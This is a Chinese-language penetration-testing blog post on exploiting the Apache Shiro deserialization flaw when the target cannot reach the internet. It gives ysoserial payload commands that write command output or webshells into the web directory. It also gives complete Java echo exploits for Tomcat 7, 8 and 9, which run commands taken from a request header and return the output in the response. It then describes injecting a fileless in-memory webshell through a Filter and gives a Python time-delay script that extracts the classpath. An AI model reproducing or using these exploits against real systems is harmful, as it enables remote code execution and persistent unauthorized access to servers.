0x1 前言 在做红蓝对抗、攻防演练时经常会发现Shiro反序列化漏洞,在进行漏洞攻击时利用难度取决于服务器是否可以出网。在可以出网的情况下一般都能很快获取权限,在不能出网时就比较麻烦了。碰到一些比较艰难的环境也用过一些很笨的方法去解决,虽然过程时间比较长,效率慢,但最终成功的拿下目标权限时的成就感是不言而喻的。
最近大家讨论得比较火的Java反序列化的回显和内存webshell使得很多Java反序列化漏洞在利用过程中遇到的难题引刃而解。看了大佬们各种思路方法,真是八仙过海,各显神通。
这篇笔记主要记录一下Shiro反序列化漏洞实战时遇到不出网环境的解决思路,也顺便总结学习一下大佬们的一些方法。
0x2 解决方法 1.定位Web目录写入文件 这种方法之前在命令执行漏洞总结 这篇笔记提过,但在实际运用时还需要考虑一些问题。
因为这种办法还是依赖于执行命令来解决问题,因此要区分操作系统,需要考虑Linux和Windows操作系统下命令的差异。
首先可以先寻找一个存在的静态资源文件,然后搜索静态资源文件定位Web目录,再借助管道符来往Web目录写入执行命令的结果或者直接写入webshell。
1 2 3 4 5 Linux: find /|grep check.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done Windows: for /r D:\ %i in (check.js*) do whoami > %i/../test.txt
但是直接将上面的命令传入ysoserial的command参数生成payload是不成功的,因为ysoserial在构造命令执行时使用的是java.lang.Runtime.getRuntime().exec(command),这种命令执行方式和在直接在shell里面执行是不一样的,这种方式不支持重定向符>。
1 2 3 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
对于这个问题是比较容易解决的,如果目标操作系统是Linux可以使用$@使得Runtime.getRuntime().exec(command)支持重定向符。如使用以下方式生成Shiro反序列化漏洞利用的Exp执行whoami命令并往Web目录写入命令执行的结果。
1 python shiro_exp.py `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 'sh -c $@|sh . echo find /|grep style.css|while read f;do sh -c whoami>$(dirname $f)/test.txt;done'|base64`
也可以使用base64编码来解决,先将命令进行base64编码然后替换下面的base64_string部分。
1 python shiro_exp.py `java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 'bash -c {echo,base64_string}|{base64,-d}|{bash,-i}'|base64`
然而上面两种方法并不能解决Windows的问题,其实只需要对ysoserial进行简单修改,使得传入java.lang.Runtime.getRuntime().exec()的参数为数组形式即可,最终传入命令变成了:
1 java.lang.Runtime.getRuntime().exec(new java.lang.String[]{"/bin/sh","-c","find / | grep style.css | while read f;do sh -c whoami >$(dirname $f)/test.txt;done"});
2.构造回显 很多大佬在网上分享了各种构造回显的方法,这里简单总结一下: •《linux下java反序列化通杀回显方法的低配版实现》 ,思路很奇特,通过获取socket对应的文件描述符,把命令结果写到文件描述符中获得回显,但是局限性比较大。 •《Tomcat中一种半通用回显方法》 ,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,将修改后的Request和Response记录到ThreadLocal中。 •《tomcat不出网回显连续剧第六集》 ,从register寻找Request。 •《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》 ,通过WebappClassLoader寻找Request和Response,但是这种方法不支持Tomcat7,因为在Tomcat7中通过Thread.currentThread.getContextClassLoader()无法获取到StandardService。 •《半自动化挖掘request实现多种中间件回显》 ,c0ny1大佬写的半自动化工具java-object-searcher,通过线程对象搜索Request,通过这个工具可以挖掘各种中间件的回显利用链。 •《基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)》 ,通过线程对象搜索HttpServletRequest和HttpServletResponse,和c0ny1大佬的思路差不多,这个可以自动化实现多个中间件通用,不用自己再去寻找回显利用链。实际运用中可能也会遇到一些问题,大佬也来回改了好几版。
这里就用java-object-searcher来学习一下Tomcat的回显方法吧。本地搭了Tomcat 7.0.106、8.5.56、9.0.19三个环境,搜索Request对象结果如下: Tomcat 7.0.106:
1 2 3 4 5 6 7 8 9 10 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [12] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.JIoEndpoint$Acceptor} ---> this$0 = {org.apache.tomcat.util.net.JIoEndpoint} ---> handler = {org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo} ---> processors = {java.util.ArrayList<org.apache.coyote.RequestInfo>} ---> [0] = {org.apache.coyote.RequestInfo}
Tomcat 8.5.56:
1 2 3 4 5 6 7 8 9 10 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo} ---> processors = {java.util.ArrayList<org.apache.coyote.RequestInfo>} ---> [0] = {org.apache.coyote.RequestInfo}
Tomcat 9.0.19
1 2 3 4 5 6 7 8 9 10 TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo} ---> processors = {java.util.List<org.apache.coyote.RequestInfo>} ---> [0] = {org.apache.coyote.RequestInfo}
从得到的结果看,Tomcat 8.5.56和Tomcat 9.0.19的结果基本是一样的,不同的地方可能就在于可寻找到Request的线程名,Tomcat 7.0.106虽然不一样,差异也不是很大,但是这三个结果不能完全代表Tomcat 7,8,9,具体到某一些版本的实现上面也是有差异的。
这里先以Tomcat 7.0.106为例,参照c0ny1大佬的思路构造一下回显EXP。先根据Tomcat 7.0.106的搜索结果,动态调试一下。
http-bio-8090-Acceptor-0和http-bio-8090-AsyncTimeout这两个线程都能找到Request。
最终回显EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.tomcat.util.buf.ByteChunk; import java.lang.reflect.Field; import java.util.ArrayList; import java.io.*; import org.apache.coyote.Request; public class Tomcat7Echo extends AbstractTranslet { public Tomcat7Echo(){ try { ThreadGroup group = Thread.currentThread().getThreadGroup(); Field field = group.getClass().getDeclaredField("threads"); field.setAccessible(true); Thread[] threads = (Thread[]) field.get(group); for(Thread thread:threads){ String name = thread.getName(); if(name.contains("http") && name.contains("Acceptor")){ field = thread.getClass().getDeclaredField("target"); field.setAccessible(true); Object obj = field.get(thread); field = obj.getClass().getDeclaredField("this$0"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("handler"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getSuperclass().getDeclaredField("global"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("processors"); field.setAccessible(true); obj = field.get(obj); ArrayList processors = (ArrayList) obj; for(int m=0;m<processors.size();m++){ Object o = processors.get(m); if(o != null && o.getClass().toString().contains("RequestInfo")){ field = o.getClass().getDeclaredField("req"); field.setAccessible(true); obj = field.get(o); if(!obj.toString().contains("null")) { Request request = (Request) obj; String cmd = request.getHeader("cmd"); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] buff = new byte[1024]; int rc = 0; while ((rc = in.read(buff, 0, 1024)) > 0) { byteArrayOutputStream.write(buff, 0, rc); } byte[] buf = byteArrayOutputStream.toByteArray(); ByteChunk bc = new ByteChunk(); bc.setBytes(buf, 0, buf.length); request.getResponse().doWrite(bc); } } } } } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
再来看一下Tomcat 8.5.56和Tomcat 9.0.19。 Tomcat 8.5.56可寻找Request的线程名为http-nio-8090-ClientPoller-0、http-nio-8090-ClientPoller-1、http-nio-8090-Acceptor-0和http-nio-8090-AsyncTimeout。
Tomcat 9.0.19可寻找Request的线程名为http-nio-8090-ClientPoller-0和http-nio-8090-ClientPoller-1。
和Tomcat 7.0.106不同的是,Tomcat 8.5.56和Tomcat 9.0.19默认使用的是NioEndpoint组件,而Tomcat 7.0.106使用的是JIoEndpoint。handler是直接在JIoEndpoint类定义的成员变量,而对于NioEndpoint类中则是在父类的父类AbstractEndpoint中定义的。如果需要通过反射获取关键的Field,可以考虑通过不断遍历父类去获取。
另外,在Tomcat 7.0.106中org.apache.coyote.Response#doWrite()方法传入的参数类型为ByteChunk类型,而在Tomcat 8.5.56和Tomcat 9.0.19参数类型为ByteBuffer。
Tomcat 8.5.56和Tomcat 9.0.19回显EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.util.ArrayList; import org.apache.coyote.Request; import java.io.*; public class Tomcat9Echo extends AbstractTranslet { public Tomcat9Echo(){ try { ThreadGroup group = Thread.currentThread().getThreadGroup(); Field field = group.getClass().getDeclaredField("threads"); field.setAccessible(true); Thread[] threads = (Thread[]) field.get(group); for(Thread thread:threads){ String name = thread.getName(); if(name.contains("http") && name.contains("Poller")){ field = thread.getClass().getDeclaredField("target"); field.setAccessible(true); Object obj = field.get(thread); field = obj.getClass().getDeclaredField("this$0"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("global"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("processors"); field.setAccessible(true); obj = field.get(obj); ArrayList processors = (ArrayList) obj; for(int m=0;m<processors.size();m++){ Object o = processors.get(m); if(o != null && o.getClass().toString().contains("RequestInfo")){ field = o.getClass().getDeclaredField("req"); field.setAccessible(true); obj = field.get(o); if(!obj.toString().contains("null")) { Request request = (Request) obj; String cmd = request.getHeader("cmd"); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] buff = new byte[1024]; int rc = 0; while ((rc = in.read(buff, 0, 1024)) > 0) { byteArrayOutputStream.write(buff, 0, rc); } byte[] buf = byteArrayOutputStream.toByteArray(); request.getResponse().doWrite(ByteBuffer.wrap(buf)); } } } } } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
综合考虑以上不同版本出现的异同,可以写一个通用大多Tomcat 7,8,9版本的回显EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import java.util.ArrayList; import java.io.*; public class TomcatEcho extends AbstractTranslet { public TomcatEcho() { try { ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getObj(group, "threads"); label: for(Thread thread:threads) { String name = thread.getName(); if(name.contains("http") && !name.contains("exec")) { ArrayList processors = (ArrayList) getObj(getObj(getObj(getObj(getObj(thread, "target"),"this$0"), "handler"), "global"), "processors"); for (int m=0; m<processors.size();m++) { Object o = processors.get(m); if (o.getClass().toString().contains("RequestInfo")) { Object req = getObj(o, "req"); if(!req.toString().contains("null")) { Object resp = req.getClass().getMethod("getResponse").invoke(req); String cmd = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, "X-Protection"); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream bs = new ByteArrayOutputStream(); byte[] buff = new byte[1024]; int rc = 0; while ((rc = in.read(buff, 0, 1024)) > 0) { bs.write(buff, 0, rc); } byte[] buf = bs.toByteArray(); try { Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); Object bc = cls.newInstance(); cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(bc, buf, new Integer(0), new Integer(buf.length)); resp.getClass().getMethod("doWrite", cls).invoke(resp, bc); break label; } catch (NoSuchMethodException e) { Class cls = Class.forName("java.nio.ByteBuffer"); Object bc = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, buf); resp.getClass().getMethod("doWrite", cls).invoke(resp, bc); break label; } } } } } } } catch (Exception e) { } } private static Object getObj(Object obj, String str) throws Exception { Class cls = obj.getClass(); Field field = null; while (true) { try { field = cls.getDeclaredField(str); break; } catch (NoSuchFieldException e) { cls = cls.getSuperclass(); } } if (field !=null ){ field.setAccessible(true); return field.get(obj); } else { throw new NoSuchFieldException(str); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Shiro反序列化漏洞利用成功构造回显:
3.写入无文件webshell 关于无文件webshell,总结了网上大佬的思路,主要可以分为几种: • 基于Servlet规范,通过动态注册Servlet、Filter、Listener等方式实现无文件webshell。参考《基于tomcat的内存 Webshell 无文件攻击技术》 • 基于特定框架,如Spring注入controller、Filter等方式实现无文件webshell。参考《基于内存 Webshell 的无文件攻击技术研究》 • 基于Java Instrumemtation,如rebeyong大佬写的memShell。参考《利用“进程注入”实现无文件复活 WebShell》
实现无文件webshell,具体到Shiro反序列化漏洞的利用需要注意的是在Tomcat中间件下如果生成的payload太长,会超过Tomcat默认的maxHeaderSize大小,导致请求失败。解决方法可以参考《Java代码执行漏洞中类动态加载的应用》 的思路,通过自定义ClassLoader,将要加载的字节码放在POST请求的参数中,从而避免了直接在Header插入全部payload导致超过长度限制。
如下,通过动态注册Filter实现无文件冰蝎webshell。
修改冰蝎,对payload下的所有equals方法进行修改,去掉需要依赖jsp的PageContext。
成功注入无文件冰蝎webshell。
4.时间延迟获取Web路径写入webshell 相较前面的三种方法,使用时间延迟算是比较通用的方法了,不需要考虑中间件差异等问题。如下面写了一个比较简单粗暴的二分法时间延迟实现获取classpath。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 def BinarySearch(target, index, left, right, lowerStdLimit): while True: mid = (left + right)/2 if mid == left: return chr(mid) break code1 = """ String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath(); int a = (int) var1.charAt(%d); if (a < %d) { Thread.currentThread().sleep(5000L); } """ % (index, mid) code2 = """ String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath(); int a = (int) var1.charAt(%d); if (a < %d) { Thread.currentThread().sleep(0000L); } """ % (index, mid) code1_base64 = base64.b64encode(code1) re_value1 = poc(code1_base64) code2_base64 = base64.b64encode(code2) re_value2 = poc(code2_base64) time1 = resp_time(target, re_value1) if time1 > lowerStdLimit: time2 = resp_time(target, re_value2) if time2 <= lowerStdLimit: right = mid else: left = mid else: left = mid
通过时间盲注获取classpath。